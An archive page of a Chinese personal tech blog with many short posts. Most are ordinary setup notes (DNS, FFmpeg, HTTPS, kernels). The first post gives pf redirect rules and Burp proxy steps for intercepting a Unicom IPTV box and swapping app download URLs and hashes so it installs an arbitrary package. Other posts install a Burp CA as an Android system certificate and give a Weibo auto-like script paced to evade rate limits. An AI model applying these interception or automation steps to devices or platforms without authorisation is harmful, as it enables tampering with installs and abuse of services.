Fashioncj Tell You - chenjia.me

软路由实现流量拦截,破解联通IPTV

2018-07-29T22:34:59+08:00

参考文章

软路由实现流量拦截注意，原文中没提到的，设置好pf后要重启生效。

简洁操作

开启热点
echo "rdr on bridge100 inet proto tcp all -> 127.0.0.1 port 8080" | sudo pfctl -Ef -
设置burpsuit，注意需要监听所有接口，在request handing中打开invisible proxy
开始MITM
在应用商店选择一个应用查看详情，修改返回json，替换下载地址和md5
等待电视开始安装。

备份原文章最后代码

➜  ~ grep -v "^#" /etc/pf.conf
scrub-anchor "com.apple/*"
nat-anchor "com.apple/*"
nat-anchor "hackproxy/*"
rdr-anchor "com.apple/*"
rdr-anchor "hackproxy/*"
dummynet-anchor "com.apple/*"

anchor "com.apple/*"
anchor "hackproxy/*"
load anchor "com.apple" from "/etc/pf.anchors/com.apple"
load anchor "hackproxy" from "/etc/pf.anchors/hackproxy"

➜  ~ grep -v "^#" /etc/pf.anchors/hackproxy

nat on en5 inet from bridge100:network to any -&gt; (en5:0) extfilter ei
rdr on bridge100 inet proto tcp all -&gt; 127.0.0.1 port 8080

执行sudo pfctl -a hackproxy -sn

自建Bind9 DNS服务器

2018-04-19T22:37:06+08:00

自建dns服务器可以满足很多需求。比如可以自定义 a.com指向自己的服务等。

安装Bind9

在Ubuntu中，使用apt install bind9即可

配置自定义域名

修改/etc/bind/named.conf.local 文件，添加如下内容：
```
zone "a.com"{
    type master;
    file "db.a.com";
};
```
复制一个新的域名数据文件sudo cp /etc/bind/db.local /var/cache/bind/db.a.com 名字第一步配置的一致
编辑该文件，添加对应的解析，例如
```
@       IN      A       1.1.1.1
@       IN      AAAA    101:::af
```
记得移除默认的127.0.0.1和::0解析

添加上游递归DNS

自建的DNS需要follow一个DNS，编辑文件/etc/bind/named.conf.options 添加如下内容：

forwarders {
    101.6.6.6;
    119.29.29.29;
};

允许DNS被任意人访问

和上一步一样的文件，添加以下内容： allow-query {any;};

其中any可以替换为IPv4的掩码模式，V6的掩码模式，多个IP段。

重启服务

使用命令service bind9 restart进行重启，通过命令service bind9 status 查看服务是否正常运行。

自动化检查网络出口和入口的端口封禁情况

2017-12-22T15:37:33+08:00

最近ISP封禁端口已经越来越普遍了，一般封禁理由都是为了所谓的安全。可惜我们在选择服务器或者自己的网络运营商很少会告知哪些端口被封禁，所以这个就需要我们自己动手测试。

原理

服务器利用iptables将所有的端口的TCP请求都转发到80端口上的Nginx服务器上。

出口端口封禁检测

所谓的出口端口，简单的来说就是你能否访问某个端口，如果运营商在ISP出口屏蔽了80和443端口，那么你就将无法打开HTTP或者HTTPs的网页。这个检测通常可以用来检测自己是否能连接其他服务器的某个特定的端口。

如果你没有服务器，我们可以是用这个网站http://portquiz.net/ 来进行测试，这个网站支持除22和25端口外的所有端口检测，比如你使用http://portquiz.net:8888/来检测是否打开，如果无法打开那就可能是你的ISP封禁了8888端口。该网站提供了测试脚本，语言是GO。其Github地址为https://github.com/nhooyr/outPorts

入口端口封禁检测

该网站的BLOG讲述了其原理，如果我们在阿里云或者其他地方有服务器，但是不知道服务器提供商的防火墙端口封禁规则，那么我们可以利用其所述的原理在服务器上进行搭建，然后在本地修改上面说的Go语言脚本某位的网址为自己的IP/域名，然后进行测试即可。

搭建服务器步骤

安装网页服务器Nginx等，监听80端口。

修改iptabls，应用如下规则cat /etc/iptables/rules.v4：

# Generated by iptables-save v1.6.0 on Thu Dec 14 00:51:52 2017
*nat
:PREROUTING ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A PREROUTING -i lo -j RETURN
-A PREROUTING -p icmp -j RETURN
-A PREROUTING -m state --state RELATED,ESTABLISHED -j RETURN
-A PREROUTING -p tcp -m tcp --dport 22 -j RETURN
-A PREROUTING -p tcp -m tcp --dport 21 -j RETURN
-A PREROUTING -p tcp -m tcp --dport 25 -j RETURN
-A PREROUTING -p tcp -m tcp --dport 80 -j RETURN
-A PREROUTING -p tcp -m tcp --dport 443 -j RETURN
-A PREROUTING -p tcp -j DNAT --to-destination :80
COMMIT
# Completed on Sun Aug 25 12:43:34 2013
# Generated by iptables-save v1.4.14 on Sun Aug 25 12:43:34 2013
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 25 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
-A INPUT -j DROP
COMMIT
# Completed on Thu Dec 14 00:51:52 2017

                                                                                               3. 应用iptabls，客户端即可运行脚本进行测试
                                                                                                                                                                                                                          ##SDU端口封禁序号
                                                                                                                                                                                                                          &gt; 21,25,80,135,137,138,139,443,445,8000,8080

BrupSuit证书导入Android7.0以上手机

2017-10-29T22:39:53+08:00

Android安全策略提升

Android7.0 对SSL证书提升了大量限制。例如应用不信任用户证书，用户无法自己导入证书等。

如何破解

我们可以通过https://github.com/levyitay/AddSecurityExceptionAndroid项目来对apk进行修改。也可以通过导入证书为系统证书来实现。后者需要有root权限

作为证书变为系统证书

从brupsuit中导出证书文件certificate.der
生成PEM文件openssl x509 -in certificate.der -inform DER -out certificate.pem -outform PEM
提取hash:openssl x509 -inform PEM -subject_hash -in certificate.pem | head -1,记住输出的hash，例如a0b1c2d3
cat certificate.pem > a0b1c2d3.0
openssl x509 -inform PEM -text -in certificate.pem -out /dev/null >> a0b1c2d3.0
连接手机，执行adb root和adb remount
adb push a0b1c2d3.0 /system/etc/security/cacerts/
进入手机终端adb shell
加上权限chmod 644 /system/etc/security/cacerts/a0b1c2d3.0
重启手机，查看证书是否安装完成。

参考

开发流程总结

2017-09-03T18:59:24+08:00

开始

第一次做真实的需求。突然感觉自己是真·新人。

Leader说，我们的产品覆盖几亿的用户，大盘机型有3000多。所以每一行代码都得小心。

不管在哪里做事，都离不开认真。

流程

仔细评估需求
方案确定
组件查找+开源代码查找
开发，合并，同步。
是否需要添加监控，远程开关，上报开关，灰度开关等
自动化测试/灰度测试
兼容性报告，机型覆盖率等信息
Code Review
上报内容确定，需要的信息+需要分析的内容
合并主干

Transform360 编译指南

2017-08-12T14:49:46+08:00

该指南指导编译基于Transform360的FFmpeg，并介绍Transform Filter的使用方法。基于这个你可以获取到将等圆柱映射的全景视频转换为正方体映射的全景视频。

什么是Transform360

Transform360的Github地址为: https://github.com/facebook/transform360

其官方介绍为：Transform360 is an equirectangular to cubemap transform for 360 video. 作用就是将图1的视频转换为图2的视频样子。图1

图2

CubeMap优点

相比于equirectangular，cubemap可以在保持全景效果不变的情况下缩小25%的冗余内容。原因如下：例如平面视频标清的分辨率为 720×480 ，如果用六面体来表示所有的面临的六个面，则至少需要 6×480×480 的大小，而在保持同等清晰度的前提下，采用等圆柱映射在需要 8×480×480 的大小。

通过转换对比可见，等圆柱映射的4K全景视频（3840*1920），转换为相同的正方体映射的分辨率为（2880*1920）,文件大小缩小了近1/3(不同视频是有差异)

编译指南

以下命令基于Ubuntu 16.04执行测试通过。

下载FFmpeg代码和Transform360代码

git clone https://github.com/facebook/transform360.git
git clone https://github.com/FFmpeg/FFmpeg.git

将transform360/Transform_V1/vf_transform_v1.c文件复制到FFmpeg/libavfilter文件夹下
进入FFmpeg/libavfilter文件夹，修改allfilters.c，在video filter块中添加代码REGISTER_FILTER(TRANSFORM_V1, transform_v1, vf);
修改文件Makefile，在Filter块中添加代码OBJS-$(CONFIG_TRANSFORM_V1_FILTER) += vf_transform_v1.o

回退到FFmpeg目录，开始编译。

sudo apt install pkg-config yasm libx264-dev
./configure --enable-shared --enable-libx264 --enable-gpl  --prefix=/usr/local/ffmpeg
make -j8 //8为CPU线程数目，可以加速编译
sudo make install、
sudo vim /etc/ld.so.conf.d/ffmpeg.conf
//在文件中添加如下内容： /usr/local/ffmpeg/lib
sudo ldconfig

到达任意目录，执行ffmpeg查看是否正常运行，如果正常则编译完成。

转换视频指南

通过ffmpeg -h filter=transform_v1可以查看帮助手册
转换命令ffmpeg -i input.mp4 -vf transform_v1="input_stereo_format=MONO :max_cube_edge_length=960 :expand_coef=1.01" -vcodec h264 output.mp4
参数说明

input_stereo_format 输入视频格式，不确定可以不选会自动判定

output_layout 输出视频格式，默认CUBEMAP_32

max_cube_edge_length 每个正方形的边长，设置过大会自动设置为视频能转换的最大值

expand_coef 模糊边界参数，默认1.01不建议修改，设置为1的时候视频播放会有边界

评论系统迁移至Github Issue

2017-07-29T22:00:27+08:00

评论系统迁移

多说网易云跟帖相继阵亡，苦了我们静态博客的博主。没有备案没法使用搜狐畅言，有言用了估计不知道哪天就挂了。因此决定一次性把评论系统改到github上，这样的坏处就是之前的评论无法导入，以及评论必须有github账号了。

使用的评论系统

使用了一个开源的基于github issue的评论系统，使用文档如下：

https://github.com/gitalk/gitalk/blob/master/readme-cn.md

之前的评论

我会恢复一些比较有用的评论。

基于Google VR SDK 的Ambisonic 音频播放Demo实现及相关文档

2017-07-11T12:05:42+08:00

支持播放的Ambisonic文件格式

该SDK支持两种类型的音频文件播放：

双声道的wav文件（也就是普通wav音频文件作为虚拟音频素材）

四声道的AmbiX格式的wav文件，其格式因该为：FOA,ACN,SN3D [first-order ambisonics in the AmbiX (ACN/SN3D) format]. 其中FOA表示空间音频的声道数目为4，ACN为声道的排序规则为0123，SN3D表示将4声道合成的时候四个声道计算的算法公式。

对于我们Demo，我们选择的是第二种类型，这种类型能够产生空间音频效果。

空间变化设置

我们通过公式将手机传感器的event.values数值计算为四元素，导入到GVR中的空间头盔位置中，实现转动手机即转动空间位置。

Mac sed 命令差异

2017-06-30T11:22:00+08:00

在MAC系统中，sed命令在使用-i指令时候和Linux的命令不一样，需要在-i后面加上"", 例如： sed -i "" "s/aaa/bbb/g" 1.txt

微博批量点赞脚本

2017-06-22T11:45:23+08:00

原理

利用js直接点击点赞按钮，简单快捷

第一版本

新浪微博没有jQuery，那么只能用原生的JS，简单的实现方式如下：

var list=document.getElementsByClassName('S_txt2');
var j=0
for(var i=0;i&lt;list.length;i++){
    if(list[i].tagName=="A"){
        if(list[i].title=="赞"){
            //var t=setTimeout(out(list[i]), 100*j);
            //var r=self.setInterval(out(list[i]), 100*j);
            setInterval(list[i].onclick=(function(i){
                return function(){
                    console.log(list[i])
                }
            })(i),1000*j)
            j++
            //list[i].click();
        }
        else if(list[i].title=="取消赞"){
            //console.log("取消赞")
        }
    }
}

function out(a){

    a.click();
}

但是这种方式，会触发新浪微博的限制，所以我们要考虑使用队列来进行中断。JS是单线程没有sleep()功能的函数，所以我们使用一种新的方式来实现。

第二版本

使用队列来延迟：

class IntervalQueue{
    constructor(ary){
        this.list = ary;
    }

    queue(item){
        this.list.push(item)
    }

    dequeue(cb){
        cb(this.list.shift())
    }
}
const oldlist = Array.prototype.slice.call(document.getElementsByClassName('S_txt2')).filter(a =&gt;a.tagName ==="A");
const list = oldlist.filter(a =&gt;(a.title ==="赞"||a.title ==="取消赞")&amp;&amp;a.title!=undefined);
const iq = new IntervalQueue(list);

setInterval(function () {
    iq.dequeue(function (item) {
        if(item==undefined)
            return
        if(item.title === "赞"){
            item.click();
            //console.log("zan")
        }else {
            console.log("cancel")
        }
    })
},10000)

最后的10000是毫秒，根据时间限制可以进行相应的调整。

实验室域名HTTPS配置完成笔记

2017-06-17T13:09:52+08:00

为什么需要HTTPS

Chrome 5x的某个版本开始，不上https的网站前面会给你的感叹号，如果网页中有带有Passwoerd的form表单，就会给个不安全的提示。作为强迫症，就想去除掉这些。

部署HTTPS

首先，现在免费的证书中，Let's Encrypt是大多数人采用的。

我采用了acme.sh提供的自签发脚本，在服务器上安装脚本后运行，首先修改我们原来Nginx的多站点配置，将多站点的配置文件停用，使用一个签发配置，让所有指向本机的域名全部解析到一个目录，方便我们签发证书，然后`sudo service Nginx reload'。

使用脚本acme.sh，使用多站点签发方式

acme.sh --issue -d wenha0.com -w /var/www/html/  -d www.wenha0.com

签发完成后，我们将签发的证书复制到/etc/nginx/ssl/中，然后禁用签发ssl的多站点配置文件，新建一个多站点配置文件来监听443端口并启用ssl，其中启动ssl的配置脚本为：

ssl on;
ssl_certificate /etc/nginx/ssl/wenha0.com.cer;
ssl_certificate_key /etc/nginx/ssl/wenha0.com.key;

修改成功后，应该使用sudo service nginx force-reload来启用https，这时候你打开网址，使用HTTPS访问就能成功了。

哪些服务启用了HTTPS

除了资源下载的服务，其他所有服务都启用了HTTPS。除了首页允许HTTP访问，其他所有有HTTPS的服务都添加了HTTP强制跳转HTTPS服务。

该条NGINX规则为：

rewrite ^(.*) https://$server_name$1 permanent;

transformNativeLibsWithStripDebugSymbolForRelease错误解决方案

2017-04-18T15:01:33+08:00

transformNativeLibsWithStripDebugSymbolForRelease错误解决方案

首先这个错误是由于NDK编译so的是版本过低导致在新的gradle下（tool level>2.2）编译报错，修正的方式就是将compileSdkVersion提高到23及以上即可。百度到的结果都是降级gradle版本是没有必要的。

从源码编译smaliidea插件

2017-03-09T20:48:30+08:00

编译smaliidea插件

Smaliidel用途想必大家都知道了。Github上release版本落后于代码好几个月，所以就尝试自己编译。

git clone https://github.com/JesusFreke/smali.git
cd smali/smalidea
./gradlew build

一个简单的使用教程

解决MAC下IDEAL中Gradle缺失JAVA_HOME变量

2017-03-06T23:11:48+08:00

解决MAC下IDEAL中Gradle缺失JAVA_HOME变量

保证安装了JDK
终端输入/usr/libexec/java_home，复制返回值
sudo vim /etc/launchd.conf
加入setenv JAVA_HOME 之前复制的内容
重启ideal

关于/etc/launchd.conf

这个文件可以给图形程序设置环境变量等相关操作

济南公交信息接口

2017-02-28T17:54:24+08:00

使用前需知

使用API请求方式为GET，头部需要添加如下信息：

  "User-Agent":"WayBook/3114 (iPhone; iOS 10.2.1; Scale/2.00)"

  "version":"ios-com.travelincity.WayBook-3114"

查询某车次信息

http://60.216.101.229/server-ue2/rest/buslines/simple/370100/119/0/20

{
"status": {
    "code": 0,
    "msg": ""
},
"result": {
    "pageParam": {
        "offset": 0,
        "len": 20,
        "totalNum": 2
    },
    "result": [{
        "id": "626",
        "lineName": "119",
        "startStationName": "解放桥北",
        "endStationName": "高新区管委会",
        "updateTime": "Oct 22, 2016 09:12:41 PM"
    }, {
        "id": "627",
        "lineName": "119",
        "startStationName": "高新区管委会",
        "endStationName": "解放桥北",
        "updateTime": "Oct 22, 2016 09:12:41 PM"
    }]
}

}

查询某车次车辆信息

http://60.216.101.229/server-ue2/rest/buses/busline/370100/626

{
"status": {
    "code": 0,
    "msg": ""
},
"result": [{
    "busId": "k7115",
    "lng": 117.043701,
    "lat": 36.661758,
    "velocity": 14.637927147310137,
    "isArrvLft": "2",
    "stationSeqNum": 4,
    "status": "1",
    "buslineId": "626",
    "actTime": "Feb 28, 2017 02:47:36 PM",
    "cardId": "k7115",
    "orgName": "",
    "averageVelocity": 9.617714694801721,
    "coordinate": 0
}, {
    "busId": "k4756",
    "lng": 117.129258,
    "lat": 36.658146,
    "velocity": 20.612236280532937,
    "isArrvLft": "2",
    "stationSeqNum": 18,
    "status": "1",
    "buslineId": "626",
    "actTime": "Feb 28, 2017 02:48:03 PM",
    "cardId": "k4756",
    "orgName": "",
    "averageVelocity": 14.20242130390918,
    "coordinate": 0
}, {
    "busId": "4930",
    "lng": 117.09648,
    "lat": 36.657035,
    "velocity": 29.92720885319345,
    "isArrvLft": "2",
    "stationSeqNum": 14,
    "status": "1",
    "buslineId": "626",
    "actTime": "Feb 28, 2017 02:46:26 PM",
    "cardId": "4930",
    "orgName": "",
    "averageVelocity": 14.392172603232366,
    "coordinate": 0
}, {
    "busId": "4940",
    "lng": 117.126201,
    "lat": 36.680646,
    "velocity": 17.869428854427756,
    "isArrvLft": "2",
    "stationSeqNum": 24,
    "status": "1",
    "buslineId": "626",
    "actTime": "Feb 28, 2017 02:48:14 PM",
    "cardId": "4940",
    "orgName": "",
    "averageVelocity": 15.254815904004937,
    "coordinate": 0
}, {
    "busId": "4933",
    "lng": 117.06898,
    "lat": 36.654258,
    "velocity": 42.0223102853153,
    "isArrvLft": "2",
    "stationSeqNum": 10,
    "status": "1",
    "buslineId": "626",
    "actTime": "Feb 28, 2017 02:48:53 PM",
    "cardId": "4933",
    "orgName": "",
    "averageVelocity": 12.28398160927543,
    "coordinate": 0
}]

}

查询某车次站点信息

http://60.216.101.229/server-ue2/rest/buslines/370100/577

{
"status": {
    "code": 0,
    "msg": ""
},
"result": {
    "id": "577",
    "area": 370100,
    "lineName": "1",
    "startStationName": "营市街经十路",
    "endStationName": "洪家楼",
    "stations": [{
        "id": "1",
        "area": 370100,
        "stationName": "营市街经十路",
        "lng": 116.96724295683,
        "lat": 36.65563239727,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "2",
        "area": 370100,
        "stationName": "营市街经六路",
        "lng": 116.96913597481,
        "lat": 36.660116506743,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "3",
        "area": 370100,
        "stationName": "经四路西口",
        "lng": 116.97271754718,
        "lat": 36.663182622482,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "4",
        "area": 370100,
        "stationName": "经四纬十二",
        "lng": 116.97857707464,
        "lat": 36.663553144733,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "5",
        "area": 370100,
        "stationName": "经二纬十二",
        "lng": 116.97896137556,
        "lat": 36.665230441023,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "6",
        "area": 370100,
        "stationName": "华联商厦",
        "lng": 116.98370174748,
        "lat": 36.66731472811,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "7",
        "area": 370100,
        "stationName": "经二纬八",
        "lng": 116.98704356852,
        "lat": 36.668215601526,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "8",
        "area": 370100,
        "stationName": "经二纬六",
        "lng": 116.99140061954,
        "lat": 36.669226319322,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "9",
        "area": 370100,
        "stationName": "经二纬五",
        "lng": 116.99591265822,
        "lat": 36.670217672381,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "10",
        "area": 370100,
        "stationName": "经二纬二",
        "lng": 117.001059936,
        "lat": 36.671403113603,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "11",
        "area": 370100,
        "stationName": "经二纬一",
        "lng": 117.00652828222,
        "lat": 36.672495203173,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "12",
        "area": 370100,
        "stationName": "市法院",
        "lng": 117.0124289692,
        "lat": 36.671010176048,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "13",
        "area": 370100,
        "stationName": "普利街",
        "lng": 117.01623143899,
        "lat": 36.670433216767,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "14",
        "area": 370100,
        "stationName": "趵突泉东门",
        "lng": 117.02607891358,
        "lat": 36.668615936087,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "15",
        "area": 370100,
        "stationName": "泉城广场北",
        "lng": 117.03177713265,
        "lat": 36.669011739356,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "16",
        "area": 370100,
        "stationName": "青龙桥南",
        "lng": 117.04024111882,
        "lat": 36.670679298446,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "17",
        "area": 370100,
        "stationName": "解放桥东",
        "lng": 117.05011230545,
        "lat": 36.672044332356,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "18",
        "area": 370100,
        "stationName": "中心医院",
        "lng": 117.05420113224,
        "lat": 36.672018062723,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "19",
        "area": 370100,
        "stationName": "解放路山大路",
        "lng": 117.06032330543,
        "lat": 36.671904309417,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "20",
        "area": 370100,
        "stationName": "山大路山大南路",
        "lng": 117.06265724449,
        "lat": 36.678877009166,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "21",
        "area": 370100,
        "stationName": "山大路花园庄东路",
        "lng": 117.06265328453,
        "lat": 36.682596627047,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "22",
        "area": 370100,
        "stationName": "花园路山大路",
        "lng": 117.06220244725,
        "lat": 36.687816744313,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "23",
        "area": 370100,
        "stationName": "洪家楼西路",
        "lng": 117.06881596783,
        "lat": 36.689175283276,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }, {
        "id": "24",
        "area": 370100,
        "stationName": "洪家楼",
        "lng": 117.07411720853,
        "lat": 36.690176057512,
        "buslines": "",
        "state": "0",
        "updateTime": "Oct 22, 2016 09:12:39 PM",
        "distance": 0.0,
        "busLineList": []
    }],
    "ticketPrice": "1:票价一元  K1:票价两元",
    "operationTime": "营市街经十路:5:00－22:30洪家楼:5:00－22:30",
    "owner": "",
    "linePoints": "116.96724295683_36.65563239727,116.96913597481_36.660116506743,116.97271754718_36.663182622482,116.97857707464_36.663553144733,116.97896137556_36.665230441023,116.98370174748_36.66731472811,116.98704356852_36.668215601526,116.99140061954_36.669226319322,116.99591265822_36.670217672381,117.001059936_36.671403113603,117.00652828222_36.672495203173,117.0124289692_36.671010176048,117.01623143899_36.670433216767,117.02607891358_36.668615936087,117.03177713265_36.669011739356,117.04024111882_36.670679298446,117.05011230545_36.672044332356,117.05420113224_36.672018062723,117.06032330543_36.671904309417,117.06265724449_36.678877009166,117.06265328453_36.682596627047,117.06220244725_36.687816744313,117.06881596783_36.689175283276,117.07411720853_36.690176057512",
    "description": "",
    "updateOwner": "sys-upgrade",
    "updateTime": "Oct 22, 2016 09:12:39 PM",
    "state": "0"
}

}

Android自动化测试的一个总结

2017-02-21T16:14:16+08:00

Android 自动化测试

因为这两年都在研究Android安全，不知不觉的积累了许多自动化测试的知识。也是门外汉一步一步的学习过来。今天看到一本书，书名为《腾讯Android自动化测试实战》，发现其很好的整合了我这两年的学习，纠正了我很多概念上的错误。并且从中也获取了一些新的知识。

Android自动化测试，最高的目标就是能让你的脚本正确的完成你想要的测试路径的覆盖。

正如该书所述，对于初学者，至少现在要掌握这些框架，并且知道他们的不同之处。

Robotium
Monkey
UIAutomator
Appium

这四个分别代表着测试用例，随机化，跨应用和Server-Client测试模式

每个类别的框架都有很多，就靠自己发现和对比。

获取的新知识

Monkey，Instrumentation和MonkeyRunner是和Android同时开源的。
自动化框架Selendroid，Espresso，Calabash，Appium 需要自己体会优缺点。选择适合你的
国内框架BAT都有，BA开源
Robotium原理剖析
获取logcat logcat -V time >log.txt
获取流量信息 cat /proc/uid_stat/<UID>/tcp_rcv or tcp_set
ps |grep <package name>获取 PID
替换手机内的jar，要用dx命令进行转换，dx在platform-tools下，使用命令dx --dex --output=<path> <source.jar>
Linux下替换文件：源码source后直接执行make monkey，输出在out目录下。
UIAutomator支持API>=17,提供类，可以和Robotium合用。
Android 4.2 引入settings命令，参考 Settings，值得学习，很多系统信息和操作不用root就能执行
TCPDUMP+Wireshare
getevent -h获取设备输入接口
可以尝试加入opencv 来进行图像识别
Spoon框架使用，可以作为日志整理，支持和Robotium合用，可以提高效率
UIAutomator + Dump （我目前常用的方法）
UIAutomator结合Instrumentation模式，在UIAutomator 2.0（2015.3）后开始支持，在extra目录下找到aar文件，解压其中的classes.jar就是jar文件。
代码覆盖率测试

书上无介绍的知识

绕过Instrumentation签名限制
Ant的具体应用
adb的应用

Blog添加RSS和ATOM 订阅

2017-01-13T14:14:12+08:00

最近朋友送了一个Kindle PW3，折腾了几天，在Goolge上搭建了KindleEar，发现RSS还是很好玩的。所以就在mac上配置了Reeder，并且把一些不支持的Feed添加到了Feedy上。

同时开通了Blog的RSS功能，之前被我禁止掉了。具体的开启方法可以参考官方文档RSS设置

具体的设置应该是这样，什么特殊的设置都不需要0.0~默认开启。

可以根据需求更改主题对应位置的功能，个人建议只要开启全文订阅就好了。

无缝迁移CM代码到LineageOS

2017-01-05T20:43:26+08:00

从CM迁移代码到Lineage OS

CM 由于总所周知的问题，现在社区变为Lineage OS，所以github上的项目也变化为LineageOS的账号，我们可以不重新下载代码，对一些地方进行修改就能顺利迁移。

这些步骤是github-Gist上的一个脚本，地址为脚本

我是编译THEA机型，测试通过。

步骤如下：

Init the Lineage manifest: repo init -u ssh://git@github.com/LineageOS/android.git -b cm-14.1 (or cm-13.0 if you prefer that) //一般情况下我们要修改为：repo init -u https://github.com/LineageOS/android.git -b cm-14.1
Update your local manifest (.repo/local_manifests/roomservice.xml), if it exists - find and replace "CyanogenMod" with "LineageOS" globally.
Move the git objects: mv .repo/project-objects/CyanogenMod .repo/project-objects/LineageOS
vim ~/fixlinks.sh

输入

#!/bin/sh

DIR=$1
echo $DIR
cd $DIR

for i in config description info logs objects packed-refs refs rr-cache shallow svn hooks; do
    orig=$(readlink $i)
    dest=$(echo $orig | sed 's/CyanogenMod/LineageOS/')
    if [ "$dest" '!=' "$orig" ]; then
        echo "Updated $i"
        rm $i
        ln -s $dest $i
    else
        echo "Skipping $i (not CM)"
    fi
done

chmod +x ~/fixlinks.sh
cd .repo/projects
find . -name '*.git' -exec ~/fixlinks.sh {} \; And finally, fix the actual tree:
cd ../..
find * -name '.git' -exec ~/fixlinks.sh {} \;
repo sync

编译

需要重新source环境来在进行编译，防止出现错误。

Polipo代理权限控制

2017-01-05T15:51:15+08:00

Polipo代理添加验证

Polipo可以开放HTTP代理到公网上，但是目前爬虫太多，基本几个小时后就会被爬虫发现，因此为了方便自己使用，有两种限制方法、

使用IP进行控制

官方文档：Access control

简单来说就是添加一个ip或者一个ip段，你必须熟悉子网掩码的规则。

allowedClients = 127.0.0.1, ::1, 134.157.168.0/24, 2001:660:116::/48

使用用户名密码来进行验证

在配置文件添加authCredentials='username:password'

在调用代理的时候使用http://username:password@ip:port进行连接

Digitalocean VPS开启TCP BBR

2016-12-29T00:08:32+08:00

随着TCP BBR 被加入到Linux Kernel 4.9中，网络上掀起了一大波对BBR的讨论，由于其对大陆网络不好地区有特殊加速buff，所以就在自己的DD vps上做了测试，效果还是很可观的。

确定自己的主机类型

登录Digitalocean的控制台，查看自己的VPS的kernel标签，如果可以直接更换，那么直接跟随教程替换kernel然后在这里进行选择，如果是显示那么你就需要根据教程来手动替换内核。

下载安装Linux kernel 4.9

首先先确定自己系统类型，是什么架构的VPS，如果是OpenVZ的就可以放弃了，其他的都没什么问题。

首先先下载内核DEB文件：Ubuntu内核，从中下载对应的内核文件,然后使用dpkg命令进行安装

cd ~
mkdir kernel4.9
cd kernel4.9
wget xxxxx.deb
sudo dpkg -i xxxx.deb

更换启动内核

如果是控制台可以更换的就直接在控制台进行选择，如果不可直接更换，可以参考官方换核教程How to update a digitalocean server‘s kernel

摘录关键步骤：

sudo vim /etc/default/grub 添加或修改对应行

GRUB_DEFAULT=saved
GRUB_SAVEDEFAULT=true
GRUB_DISABLE_SUBMENU=y

sudo vim /etc/default/grub.d/50-cloudimg-settings.cfg如果存在该文件就注释其中的GRUB_DEFAULT=0

更新GRUB

export GRUB_CONFIG=`sudo find /boot -name "grub.cfg"`
sudo update-grub

查看当前已经安装内核：grep 'menuentry ' $GRUB_CONFIG | cut -f 2 -d "'" | nl -v 0,记住4.9内核的普通模式的序号
sudo grub-set-default 2 将2替换为你对应的序号，进行更新
sudo reboot重启机器
uname -a检查是否成功使用4.9内核

开启bbr功能：

sysctl net.core.default_qdisc=fq
